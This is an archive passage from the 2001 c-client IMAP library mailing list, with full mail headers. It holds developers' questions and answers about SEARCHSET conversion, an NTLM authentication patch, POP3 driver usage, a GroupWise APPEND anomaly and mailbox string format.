ESMTP id f57LHqC06319 for ; Thu, 7 Jun 2001 14:17:53 -0700 Received: from clt88-150-168.carolina.rr.com ([24.88.150.168]) (authenticated (0 bits)) by ns1.sevenkings.net (8.11.2/8.11.2/SuSE Linux 8.11.1-0.5) with ESMTP id f57LHpI30454 for ; Thu, 7 Jun 2001 16:17:52 -0500 Message-Id: <4nrvht0g7vacl5frevibbd88bd2gmpmenr@4ax.com> Date: Thu, 07 Jun 2001 17:17:51 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Egan To: c-client@CAC.Washington.EDU Subject: SEARCHSET = sequence MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I need to convert a sequence into a SEARCHSET chain. Is there any function in c-client to do this already? Or maybe some code which has the essential elements of it? -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Fri Jun 8 02:09:44 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Fri, 8 Jun 2001 02:09:44 -0700 (PDT) Return-Path: Received: from claven.cac.washington.edu (claven.cac.washington.edu [140.142.32.7]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f5899hD17829 for ; Fri, 8 Jun 2001 02:09:43 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY claven.cac.washington.edu ; Fri Jun 08 02:09:42 2001 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5899du26590; Fri, 8 Jun 2001 02:09:39 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f5899Pp33504; Fri, 8 Jun 2001 02:09:25 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5893S068018 for ; Fri, 8 Jun 2001 02:03:28 -0700 Received: from colorfullife.com (colorfullife.com [216.156.138.34]) by mxu4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5893Rs25356 for ; Fri, 8 Jun 2001 02:03:28 -0700 Received: from elisa (localhost [127.0.0.1]) by colorfullife.com (8.11.2/8.11.2) with SMTP id f5896Aq04296 for ; Fri, 8 Jun 2001 05:06:13 -0400 Message-Id: <004101c0eff9$f1c664a0$a8a8a8c0@elisa> Date: Fri, 8 Jun 2001 17:03:32 +0800 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Wolfgang Spraul" To: Subject: patch to support NTLM over POP3 and IMAP available MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0039_01C0F03C.F2CB07F0" X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN This is a multi-part message in MIME format. ------=_NextPart_000_0039_01C0F03C.F2CB07F0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable The following patch will add support for the NTLM (SPA) authentication = over POP3 and IMAP4 when talking to Microsoft Exchange Servers: http://www.q-ag.de/c-client-ntlm.patch =20 Main deficiencies: *) only tested with POP3 and IMAP4 (exch55 and exch2000) *) only tested and compiled under Win32 *) depends on openssl for des and md4 =20 Regards, Wolfgang ------=_NextPart_000_0039_01C0F03C.F2CB07F0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
    The following patch will add support = for the NTLM=20 (SPA) authentication over POP3 and IMAP4 when talking to Microsoft = Exchange=20 Servers:
     
    http://www.q-ag.de/c-clie= nt-ntlm.patch
     
    Main deficiencies:
    *) only tested with POP3 and IMAP4 = (exch55 and=20 exch2000)
    *) only tested and compiled under=20 Win32
    *) depends on openssl for des and = md4
     
    Regards,
    Wolfgang
    ------=_NextPart_000_0039_01C0F03C.F2CB07F0-- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Fri Jun 8 15:41:16 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Fri, 8 Jun 2001 15:41:15 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f58MfED31883 for ; Fri, 8 Jun 2001 15:41:14 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Fri Jun 08 15:41:12 2001 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f58MfAC14037; Fri, 8 Jun 2001 15:41:10 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f58MesX08432; Fri, 8 Jun 2001 15:40:54 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f58MdT0111038 for ; Fri, 8 Jun 2001 15:39:29 -0700 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f58MdTF16652 for ; Fri, 8 Jun 2001 15:39:29 -0700 Received: from mis2.centigram.com ([199.35.49.130]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f58MdSu18468 for ; Fri, 8 Jun 2001 15:39:28 -0700 Received: from notes.centigram.com (notes.centigram.com [146.71.203.208]) by mis2.centigram.com (8.9.1/8.9.1) with SMTP id PAA01547 for ; Fri, 8 Jun 2001 15:39:20 -0700 (PDT) Received: by notes.centigram.com(Lotus SMTP MTA Internal build v4.6.2 (651.2 6-10-1998)) id 88256A65.007CDA59 ; Fri, 8 Jun 2001 15:43:43 -0700 Message-Id: <88256A65.007CD8F4.00@notes.centigram.com> Date: Fri, 8 Jun 2001 15:44:45 -0700 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: manjula_hullatti@adc.com To: c-client@CAC.Washington.EDU Subject: DRIVER for POP3 Mime-Version: 1.0 Content-type: text/plain; charset=us-ascii Content-Disposition: inline X-Lotus-FromDomain: CENTIGRAM X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi, When will the MAILSTREAM DRIVER field dtb gets initialinzed in case of POP3 ? I'm having problem marking messages for deletion as the dtb field is NIL. mail_expunge doesn't mark the messages for deletion in the cache. I'm doing the following steps to delete the messages. void* th_main(void* arg) { MAILSTREAM* stream; MAILSTREAM mbx; int j; memset((void *) &mbx, 0, sizeof(MAILSTREAM)); mbx.mailbox = strdup(imap_string); // where imap_string = {bilbo.centigram.com:110}INBOX mbx.debug = 1; mbx.inbox = 1; stream = pop3_open(&mbx); if(!stream) { printf("imap session open failed for \n\r") ; return(0); } printf("new=%d, exist=%d\n\r", stream->recent, stream->nmsgs); char pop3_status[10], sequence[2]; strcpy(pop3_status, "\\Deleted"); for(j=1; j<=(stream->nmsgs); j++) { sprintf(sequence, "%d", j); mail_flag(stream, sequence, pop3_status, FT_NOT); } mail_expunge(stream); printf("closing imap session ...\n\r") ; pop3_close(stream, 0); } Thanks, Manjula -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Fri Jun 8 16:11:39 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Fri, 8 Jun 2001 16:11:38 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f58NBbD18210 for ; Fri, 8 Jun 2001 16:11:38 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Fri Jun 08 16:11:37 2001 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f58NBZC15333; Fri, 8 Jun 2001 16:11:35 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f58NBLH33228; Fri, 8 Jun 2001 16:11:21 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f58NAH036798 for ; Fri, 8 Jun 2001 16:10:17 -0700 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f58NAHF24494 for ; Fri, 8 Jun 2001 16:10:17 -0700 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.5]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f58NAHu19770 for ; Fri, 8 Jun 2001 16:10:17 -0700 Received: from mailhost2.u.washington.edu (mailhost2.u.washington.edu [140.142.33.2]) by mxout1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f58NAD124377; Fri, 8 Jun 2001 16:10:13 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (jeff@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f58NADC26523; Fri, 8 Jun 2001 16:10:13 -0700 Message-Id: Date: Fri, 8 Jun 2001 15:55:22 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: manjula_hullatti@adc.com Cc: c-client@CAC.Washington.EDU Subject: re: DRIVER for POP3 In-Reply-To: <88256A65.007CD8F4.00@notes.centigram.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Your method of opening a POP3 session with c-client is...well...rather "unique". I'm not going to tell you how to fix your code to shortcut mail_open() and call pop3_open() directly: memset((void *) &mbx, 0, sizeof(MAILSTREAM)); mbx.mailbox = strdup(imap_string); // where imap_string = {bilbo.centigram.com:110}INBOX mbx.debug = 1; mbx.inbox = 1; stream = pop3_open(&mbx); because you are not allowed to call pop3_open() directly. You MUST use mail_open(). In fact, you are not allowed to call any pop3_???() function, or any other driver function. The fact that a driver function is not declared static is not license to reference it outside of c-client. From pinedev@shivax2.cac.washington.edu Sat Jun 9 19:02:28 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Sat, 9 Jun 2001 19:02:28 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f5A22RD10907 for ; Sat, 9 Jun 2001 19:02:27 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY newman.cac.washington.edu ; Sat Jun 09 19:02:26 2001 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5A22Ou18013; Sat, 9 Jun 2001 19:02:24 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f5A224E17126; Sat, 9 Jun 2001 19:02:04 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5A1wQ015044 for ; Sat, 9 Jun 2001 18:58:26 -0700 Received: from andira.wanadoo.fr (smtp-abo-3.wanadoo.fr [193.252.19.152]) by mxu1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5A1wPF00597 for ; Sat, 9 Jun 2001 18:58:26 -0700 Received: from SunSet (193.253.245.205) by andira.wanadoo.fr; 10 Jun 2001 03:58:22 +0200 Received: from aurora ([192.168.17.17]) by sunset with esmtp (Exim 3.12 #1 (Debian)) id 158uUf-0000jk-00 for ; Sun, 10 Jun 2001 03:58:21 +0200 Message-Id: Date: Sun, 10 Jun 2001 03:58:23 +0200 (Romance Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Vadim Zeitlin To: c-client@u.washington.edu Subject: is this a bug in c-client or in server? MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-Disposition: INLINE X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello, I'm having some trouble understanding why copying the messages to one IMAP server doesn't work. I suspect it is a bug in the server but this seems so incredible that I'm not sure... Here is the c-client debug log: 03:42:13: Saving 1 message(s) to 'Test Accounts/GroupWise6/INBOX'... 03:42:13: * OK GroupWise IMAP4rev1 Server Ready 03:42:13: Mail log (Test Accounts/GroupWise6/INBOX):GroupWise IMAP4rev1 Server Ready, error level: 0 03:42:13: 00000000 CAPABILITY 03:42:14: * CAPABILITY IMAP4rev1 STARTTLS 03:42:14: 00000000 OK CAPABILITY completed 03:42:14: 00000001 LOGIN mahogany ******* 03:42:14: 00000001 OK LOGIN completed 03:42:14: 00000002 CAPABILITY 03:42:14: * CAPABILITY IMAP4rev1 STARTTLS 03:42:14: 00000002 OK CAPABILITY completed 03:42:14: 00000003 SELECT INBOX 03:42:14: * 0 EXISTS 03:42:15: * OK [UIDVALIDITY 3] 03:42:15: * FLAGS (\Answered \Flagged \Deleted \Draft \Seen) 03:42:15: * OK [PERMANENTFLAGS (\Answered \Flagged \Deleted \Draft \Seen \*)] 03:42:15: 00000003 OK [READ-WRITE] SELECT completed 03:42:15: Mailbox is empty, error level: 0 03:42:15: 00000004 APPEND INBOX (\SEEN) " 9-Jun-2001 22:44:39 +0100" {2524} 03:42:15: + Ready 03:42:15: 00000004 OK APPEND completed 03:42:15: 00000005 NOOP 03:42:16: * 0 EXISTS 03:42:16: 00000005 OK NOOP completed 03:42:16: 00000006 CHECK 03:42:16: 00000006 OK CHECK completed 03:42:16: CHECK completed, error level: 0 03:42:16: Saving 1 message(s) to 'Test Accounts/GroupWise6/INBOX'... done I.e. APPEND results in an OK reply but there are no messages in the INBOX after it! Obviously, this is a big problem, especially when the messages are moved and not copied... The only solution I see is to check that the number of messages has been indeed incremented after calling mail_append(), but this seems rather ugly. Is there something I'm missing here, i.e. am I doing something wrong or maybe there is another way to check that append succeeded (I don't have any control over the server)? Thanks! VZ -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Sun Jun 10 12:53:37 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Sun, 10 Jun 2001 12:53:37 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f5AJraD15489 for ; Sun, 10 Jun 2001 12:53:36 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY newman.cac.washington.edu ; Sun Jun 10 12:53:35 2001 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5AJrXu03240; Sun, 10 Jun 2001 12:53:33 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f5AJqKH20236; Sun, 10 Jun 2001 12:52:20 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5AJoG039638 for ; Sun, 10 Jun 2001 12:50:17 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (dwi@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu3.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5AJoGX03341 for ; Sun, 10 Jun 2001 12:50:16 -0700 Message-Id: Date: Sun, 10 Jun 2001 12:37:23 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Vadim Zeitlin Cc: c-client@u.washington.edu Subject: re: is this a bug in c-client or in server? In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN It is certainly not a c-client bug. It may be a server bug. The GroupWise server has had problems in the past. However, it may be as simple a matter as the server not acquiring the new message right away when you append to the currently-selected mailbox. Did you try closing the current IMAP session, then re-opening it to see if the message got there after all? If the message did eventually appear in the INBOX, then in the strictest sense the server is complying with the IMAP protocol. There is no requirement in IMAP that the server MUST immediately reflect message delivery to a selected mailbox; or, put another way, it is compliant for a server not to discover new mail except at select time. HOWEVER!! In terms of "quality of implementation", a server which does not immediately reflect message delivery to a selected mailbox can not be considered to be of good quality. Users have a reasonable expection that their active IMAP sessions see new mail as it is delivered. To summarize: . From the evidence you submitted, the GroupWise server either has a bug, or has a quality of implementation problem. Either way, the vendor should be notified and asked for remedial action. . The evidence you submitted shows no problem in c-client. . Your application should not attempt to do any test (such as check if the number of messages has been implemented). There is no reasonable test; and it is possible to have a "delayed effect" that would lead to false test results. I understand your concern about moving messages; obviously it is a bad thing to have messages be lost. However, there isn't anything that you as a client author can do about it; a defective server can destroy user data no matter what steps a client takes. The best strategy is to make sure that your client is not defective, and that you have sufficient logging facilities so that if a problem occurs, it can be traced to the faulty agent (client or server) so that the fault can be repaired. From pinedev@shivax2.cac.washington.edu Sun Jun 10 23:45:33 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Sun, 10 Jun 2001 23:45:33 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f5B6jWD03331 for ; Sun, 10 Jun 2001 23:45:32 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Sun Jun 10 23:45:31 2001 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5B6jSC12123; Sun, 10 Jun 2001 23:45:28 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f5B6iqE25084; Sun, 10 Jun 2001 23:44:52 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5B6gk0128630 for ; Sun, 10 Jun 2001 23:42:46 -0700 Received: from www.pspl.co.in (www.pspl.co.in [202.54.11.65]) by mxu4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5B6gis06403 for ; Sun, 10 Jun 2001 23:42:45 -0700 Received: from mobor (gateway.pspl.co.in [203.199.147.2]) by www.pspl.co.in (8.11.0/8.11.0) with SMTP id f5B6gQI12001; Mon, 11 Jun 2001 12:12:26 +0530 Message-Id: <00cc01c0f242$aface1c0$2e05a8c0@intranet.pspl.co.in> Date: Mon, 11 Jun 2001 12:19:36 +0530 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Sushmita Roy" To: "Mark Crispin" Cc: , "Masaoud T. Moonim" Subject: C-Client and security MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_00C9_01C0F270.C7577370" X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN This is a multi-part message in MIME format. ------=_NextPart_000_00C9_01C0F270.C7577370 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hi Mark, I had a couple of doubts regarding the C-client library. 1. Is there any way of using S/Mime or PGP with C-client ? Considering that there is support for basic Mime parsing, how do I fit in 3rd party libraries for S/Mime or PGP ? 2. Besides CRAM-MD5 and APOP, is there support for any other forms of security (Digital Signatures, etc) in the C-Client library ? Maybe in the future versions ? 3. Has anybody implemented a thread-safe version of the C-client library (without strtok, gethostbyname, etc) ? Thanks and Regards Sushmita ------=_NextPart_000_00C9_01C0F270.C7577370 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
    Hi Mark,

       I had a = couple of=20 doubts regarding the C-client library.

     1. Is there any way = of using=20 S/Mime or PGP with C-client ?
        Considering that = there is=20 support for basic Mime parsing,
        how do I fit in = 3rd party=20 libraries for S/Mime or PGP ?

     2. Besides CRAM-MD5 and APOP, = is=20 there support for any other
        forms of security = (Digital=20 Signatures, etc) in the C-Client
        library ? Maybe = in the=20 future versions ?

     3. Has anybody implemented a thread-safe = version=20 of the
        C-client library (without strtok, = gethostbyname,=20 etc) ?

     Thanks and=20 Regards
     Sushmita
    ------=_NextPart_000_00C9_01C0F270.C7577370-- From pinedev@shivax2.cac.washington.edu Mon Jun 11 10:00:34 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 11 Jun 2001 10:00:34 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f5BH0WD26297 for ; Mon, 11 Jun 2001 10:00:33 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY newman.cac.washington.edu ; Mon Jun 11 10:00:32 2001 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5BH0Uu31592; Mon, 11 Jun 2001 10:00:30 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f5BH0Ep27974; Mon, 11 Jun 2001 10:00:14 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5BGwn096552 for ; Mon, 11 Jun 2001 09:58:50 -0700 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5BGwiF28825 for ; Mon, 11 Jun 2001 09:58:44 -0700 Received: from mis2.centigram.com ([199.35.49.130]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5BGwiC26169 for ; Mon, 11 Jun 2001 09:58:44 -0700 Received: from notes.centigram.com (notes.centigram.com [146.71.203.208]) by mis2.centigram.com (8.9.1/8.9.1) with SMTP id JAA22042 for ; Mon, 11 Jun 2001 09:58:37 -0700 (PDT) Received: by notes.centigram.com(Lotus SMTP MTA Internal build v4.6.2 (651.2 6-10-1998)) id 88256A68.005DB019 ; Mon, 11 Jun 2001 10:03:19 -0700 Message-Id: <88256A68.005DAF9B.00@notes.centigram.com> Date: Mon, 11 Jun 2001 10:02:59 -0700 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: manjula_hullatti@adc.com To: c-client@CAC.Washington.EDU Subject: mailbox format Mime-Version: 1.0 Content-type: text/plain; charset=us-ascii Content-Disposition: inline X-Lotus-FromDomain: CENTIGRAM X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi, What is the format of mailbox string passed while doing mail_open ? If the server address is xyz.abc.com, port is 110 and the folder is INBOX. Thanks, Manjula -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Jun 11 10:43:34 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 11 Jun 2001 10:43:33 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f5BHhWD26207 for ; Mon, 11 Jun 2001 10:43:33 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Mon Jun 11 10:43:32 2001 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5BHhUC28199; Mon, 11 Jun 2001 10:43:30 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f5BHh7X08848; Mon, 11 Jun 2001 10:43:07 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5BHg9096760 for ; Mon, 11 Jun 2001 10:42:10 -0700 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu3.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5BHg9X29891 for ; Mon, 11 Jun 2001 10:42:09 -0700 Received: from mis2.centigram.com ([199.35.49.130]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5BHg9u01207 for ; Mon, 11 Jun 2001 10:42:09 -0700 Received: from notes.centigram.com (notes.centigram.com [146.71.203.208]) by mis2.centigram.com (8.9.1/8.9.1) with SMTP id KAA23089 for ; Mon, 11 Jun 2001 10:41:58 -0700 (PDT) Received: by notes.centigram.com(Lotus SMTP MTA Internal build v4.6.2 (651.2 6-10-1998)) id 88256A68.0061A749 ; Mon, 11 Jun 2001 10:46:38 -0700 Message-Id: <88256A68.0061A5AF.00@notes.centigram.com> Date: Mon, 11 Jun 2001 10:46:14 -0700 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: manjula_hullatti@adc.com To: c-client@CAC.Washington.EDU Subject: mailbox format Mime-Version: 1.0 Content-type: text/plain; charset=us-ascii Content-Disposition: inline X-Lotus-FromDomain: CENTIGRAM X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi, What is the format of mailbox string passed while doing mail_open ? I tried giving it as {bilbo.centigram.com:110}INBOX and I'm getting an error [ccLog] ?Can't open mailbox {bilbo.centigram.com:110}INBOX: invalid remote specification I also tried with {bilbo.centigram.com:110}manjulahu. It doesn't work either. Thanks, Manjula -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Jun 11 14:44:00 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 11 Jun 2001 14:43:59 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f5BLhwD26336 for ; Mon, 11 Jun 2001 14:43:58 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Mon Jun 11 14:43:57 2001 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5BLhtC05799; Mon, 11 Jun 2001 14:43:55 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f5BLhaE23890; Mon, 11 Jun 2001 14:43:36 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5BLf2051762 for ; Mon, 11 Jun 2001 14:41:02 -0700 Received: from euler.math.washington.edu (euler.math.washington.edu [128.95.224.1]) by mxu2.u.washington.edu 